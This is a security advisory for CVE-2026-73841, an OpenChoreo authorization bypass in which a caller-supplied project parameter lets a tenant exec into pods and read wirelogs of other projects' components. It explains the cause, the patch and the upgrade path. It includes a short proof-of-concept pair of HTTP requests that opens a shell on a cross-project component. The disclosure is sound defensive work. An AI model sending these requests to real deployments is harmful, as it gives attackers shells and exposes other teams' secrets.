CVE-2026-73841: OpenChoreo Cross-Project Authorization Bypass in exec and wirelogs Endpoints
A low-privileged OpenChoreo tenant with exec or log-viewing rights on any single project can run commands inside pods and read wirelogs of components owned by completely different projects in the…

The problem
The openchoreo-api server handlers exec.go and wirelogs.go resolve the target component by name but run the component:exec and wirelogs:view authorization check against the project query parameter supplied by the caller. The component's real owning project (comp.Spec.Owner.ProjectName) is never consulted during the authz decision.
Any authenticated user holding a project-scoped component:exec grant on project A can target a component that belongs to project B, simply by passing ?project=project-a in the request. The API authorizes the caller against project A (which passes), then executes against the victim component in project B.
This gives the attacker an interactive shell, access to environment variables, and mounted Secrets (database credentials, API keys, tokens) for every component in the namespace.
Proof of concept
A working proof-of-concept for CVE-2026-73841 in github.com/openchoreo/openchoreo, with the exact payload below.
# Attacker holds component:exec on "my-project" only.
# Victim component "payments-api" is owned by "finance-team" (a different project).
# Step 1 - open an exec session against a cross-project component
GET /api/v1/namespaces/{namespace}/components/payments-api/exec
?project=my-project
&command=sh
Authorization: Bearer <attacker-token>
# Step 2 - read wirelogs of the same cross-project component
GET /api/v1/namespaces/{namespace}/components/payments-api/wirelogs
?project=my-project
Authorization: Bearer <attacker-token>
# The authz engine evaluates component:exec against "my-project" (passes).
# The handler then proxies to the pod belonging to "payments-api" in "finance-team".
# No PoC was published; payload is derived from the patch diff which replaced
# the caller-supplied project param with comp.Spec.Owner.ProjectName.The root cause is CWE-639 (Authorization Bypass Through User-Controlled Key) combined with CWE-863 (Incorrect Authorization). The authorization predicate was built from attacker-controlled input (?project=), while the actual resource being accessed was resolved independently by component name.
These two lookups were never cross-checked.
The patch (PR #4251, backported in #4516 and #4538) aligns exec and wirelogs with the pattern already used by other component operations: fetch the component object first, then build the authorization hierarchy from comp.Spec.Owner.ProjectName. Because the caller can no longer influence which project name the authz engine sees, the bypass is closed.
The fix
Upgrade to OpenChoreo 1.2.3 (or 1.1.6 for the 1.1.x line). No configuration change is required after upgrading. If an immediate upgrade is not possible, revoke component:exec and wirelogs:view grants from any user or role that should not have cross-project access, and isolate high-value components into dedicated namespaces (the flaw does not cross namespace boundaries).
Reported by Ketharan (GitHub: @Ketharan) and JanakaSandaruwan (GitHub: @JanakaSandaruwan).
Related research
- critical · 9.6CVE-2026-73843CVE-2026-73843: OpenChoreo cluster-gateway Unauthenticated Data-Plane RCE
- critical · 9.6CVE-2026-53552CVE-2026-53552: Goploy Cross-Namespace IDOR and RCE via Body-Controlled Project ID
- high · 8.1CVE-2026-72921CVE-2026-72921: SeaweedFS Filer JWT allowed_prefixes Authorization Bypass
- high · 7.1CVE-2026-55066CVE-2026-55066: Vikunja Kanban Move-Task IDOR (Cross-Tenant Task Read and Write)